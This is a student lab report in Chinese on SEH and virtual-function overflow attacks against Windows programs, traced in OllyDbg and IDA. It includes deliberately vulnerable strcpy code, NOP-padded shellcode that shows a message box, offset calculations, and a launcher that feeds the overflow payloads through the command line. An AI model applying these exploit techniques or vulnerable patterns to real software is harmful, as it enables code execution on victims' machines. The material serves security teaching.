虚函数攻击和SEH攻击实验

实验目的

  1. 了解SEH攻击和虚函数攻击的基本原理;
  2. 调试虚函数攻击代码,理解虚函数工作机制与内存分布方式,掌握基本的虚函数攻击与计算方式,并可以用OllyDbg追踪;
  3. 通过调试SEH攻击代码,理解Windows异常处理机制,掌握针对SEH的攻击方式,并利用OllyDbg跟踪异常状态。

理解程序

阅读并理解代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include<windows.h>
#include<string>
char shellcode[]=
"\x33\xDB\x53\x68\x34\x33\x32\x31\x68\x44\x43\x42\x41\x8B\xC4\x53"
"\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x48\xFE\x12\x00";
void MyExceptionHandler(void)
{
printf("got an exception,press Enter to kill process!\n");
getchar();
ExitProcess(1);
}
void test(char* input)
{
char buf[200];
//printf("%d",strlen(shellcode));
int zero=0;
__asm int 3
__try
{
strcpy(buf,input);
zero=4/zero;
}
__except(MyExceptionHandler()){}
}
int main()
{
LoadLibrary("user32.dll");
test(shellcode);
//test("abc");
system("pause");
return 0;
}
  1. 函数MyExceptionhandler()是异常处理函数;
  2. Test()函数的strcpy处是典型栈溢出漏洞;
  3. _try{}test函数栈帧中安装一个S.E.H结构,其中除0操作会产生异常。strcpy操作没有产生溢出时,除0操作产生的异常会被异常处理函数处理,而当strcpy操作产生溢出时,会将栈帧中S.E.H异常处理句柄改为shellcode入口地址,代码植入成功。

调试SEH攻击代码

  1. 为了能出发int 3断点时启动OllyDbg,设置OllyDbg为实时调试器

    1565851188253

  2. 运行刚刚创建的SHE_attack.exe,发现要求创建UDD目录

    1565851194716

  3. 运行刚刚创建的SHE_attack.exe,发现要求创建UDD目录

    1565851200766

    1565851208465

  4. 两个路径设置成功后,重新运行SHE_attack.exe程序,成功在int 3上启动OllyDbg

    1565851215407

  5. strcpy函数处设置断点,程序运行到此处时观察右下角缓冲区数据,可以看到在执行strcpy函数之前,shellcode的起始地址为0x0012FE48

    1565851226446

  6. 执行完strcpy,确认shellcode的起始位置是0x0012FE48

    1565851232753

  7. 查看S.E.H链,地址0x0012FF18

    1565851240943

  8. 查看地址0x0012FF18的记录,发现其指向下一个SHE指针,接着是异常处理程序, 只需要把0x0012FF1C这个 地址的内容改成shellcode起始地址即可

    1565851251908

  9. 由于shellcode的起始地址为 0x0012FE48,第一个S.E.H地址0x0012FF18(指向下一个S.E.H的指针) 0x0012FF1C(异常处理地址),因此shellcode需要使用0x0012FF1C-0x0012FE48=212个字节进行填充。使用上次作业弹出框的shellcode,剩下的空间用0x90补齐至212字节,在213-216字节使用0x0012FE48填充,注释掉_asm int 3

    1565849959690

  10. 启动程序,成功出现弹框

    1565849990658

  11. shellcode已经被执行,但是点击确定却没有反应,因为**shellcode已经被当作系统异常处理来进行了**,所以点击确定不会退出程序。

调试虚函数攻击代码

  1. SEH实验相同,运行SHE_attack.exe程序,成功在int 3上启动OllyDbg

    1565851481979

  2. strcpy函数处设置断点,程序运行到此处时观察右下角缓冲区数据,可以看到在执行strcpy函数之前,shellcode的起始地址为0x0042E27C

    1565851522215

  3. 根据shellcode起始地址0042E27C改写shellcodeshellCode长度为 216 Bytes,换算成十六进制为D8,故shellcode的末尾后四个字节地址是0x0042E27C+0xD8–0x4=0x0042E350修改源程序

    1565851692024

  4. 启动程序,成功出现弹框,shellcode植入成功

    1565851722541

测试结论

​ 可以利用栈溢出数据把S.E.H的异常处理函数地址替换为shellcode入口地址,让程序跳转去执行shellcode来实现我们自己的目的。

​ 也可以通过利用虚函数原理达到攻击目的,让程序按照我们预先伪造的虚函数指针去寻找虚表,而在此处填上shellcode的起始地址作为伪造的虚函数入口地址,让程序跳转去执行shellcode。虚函数攻击原理如下:

1565851802367

​ 通过以上两种方法都是利用了溢出手段来实现攻击目的,但是如今微软操作系统的安全性也在不断进步,很多溢出手段在新版本的操作系统上无法应用,日后还需要进行更加深入的研究。

思考题

针对虚函数思考题程序,在不修改源代码的情况下,研究如何利用栈溢出的方式攻击目标代码,通过命令行的方式植入shellcode,弹出对话框。

  1. 分析程序源代码,发现程序运行需要输入两个参数,并且main()函数两次调用strcpy()函数。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    #include <windows.h>
    #include <iostream.h>
    #include <stdio.h>

    class vf
    {
    public:
    char buf[200];
    virtual void test(void)
    {
    cout<<"Class Vtable::test()"<<endl;
    }
    };

    class vf1
    {
    public:
    char buf[64];
    virtual void test(void)
    {
    cout<<"Class Vtable1::test()"<<endl;
    }
    };
    vf overflow, *p;
    vf1 overflow1, *p1;
    void main(int argc, char* argv[])
    {
    LoadLibrary("user32.dll");

    //char * p_vtable;
    //p_vtable=overflow.buf-4;//point to virtual table
    // __asm int 3
    //reset fake virtual table to 0x004088cc
    //the address may need to ajusted via runtime debug
    //p_vtable[0]=0x30;
    //p_vtable[1]=0xE4;
    //p_vtable[2]=0x42;
    //p_vtable[3]=0x00;


    if (argc == 3)
    {
    strcpy(overflow.buf,argv[1]);
    strcpy(overflow1.buf,argv[2]);//set fake virtual function pointer
    p=&overflow;
    p->test();

    }
    else
    {
    printf("vf argv1 argv2\n");

    }
    }
  2. 使用ollydbg打开vf.exe程序文件,没有找到调用strcpy()函数的命令,猜想可能是反汇编时使用其他函数代替了,使用IDA打开查看,找到strcpy处的地址为0x0041193E0x00411952

    1565852130345

  3. 分析反汇编代码,发现0x00411974处调用了call dword ptr [edx],不同于常见的类似于call sub_xxxxxx的调用方式,这种看不见地址的调用是使用虚函数的标志。mov ecx,dword_42EB08访问指向这个对象开头的指针,而mov edx,[ecx]访问这个对象开头的前4个字节,最后call dword ptr [edx]调用虚函数。整个过程如下图所示。

    1565852211877

  4. 使用ollydbg打开程序,在地址0x0041193E0x00411952处设置断点,即在两个调用strcpy的地方设置断点。点击调试->参数,为程序输入命令行参数

    1565852252563

  5. 运行程序至两个断点处,观察右下角缓冲区数据,得到dest1的地址为0x0042EB5Cdest2的地址为0x42EB14

    1565852281949

    1565852289720

  6. 在数据窗口中追踪dest1的地址,为0x0042801C

    1565852318989

  7. 之前分析dword_42EB08是对象开头的指针,根据地址0x0041195A处的汇编代码mov dword_42EB08,offset unk_42EB58表明0x0042EB58处是对象开头的位置了。0X0042EB58刚好在dest地址0X0042EB5C之前说明了调用的函数是虚函数,虚表指针地址为0x0042801C

  8. 仍然使用前面实验的shellcode和计算地址的办法,把这个地方覆盖为shellcode尾部的地址0x0042EB5C+0xD8-0x4=0x0042EC30shellcode尾部再填上伪造的虚函数入口地址即可。由于于dest1的地址刚好在虚表指针地址之后,dest2的地址在虚表指针地址之前,用dest2的地址进行覆盖

  9. 编写shellcode如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    char shellcode1[]=
    "\x33\xDB\x53\x68\x31\x32\x33\x34\x68\x41\x42\x43\x44\x8B\xC4\x53"
    "\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x5C\xEB\x42\x00";

    char shellcode2[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x30\xEC\x42\x00";

    int main(){
    char command[200];
    memset(command,0,sizeof(command));
    strcpy(command,"\"C:\\vf.exe\" ");
    strcat(command,shellcode1);
    strcat(command," ");
    strcat(command,shellcode2);
    system(command);
    return 0;
    }
  10. 运行shellcode程序,成功弹出会话框

    1565852843165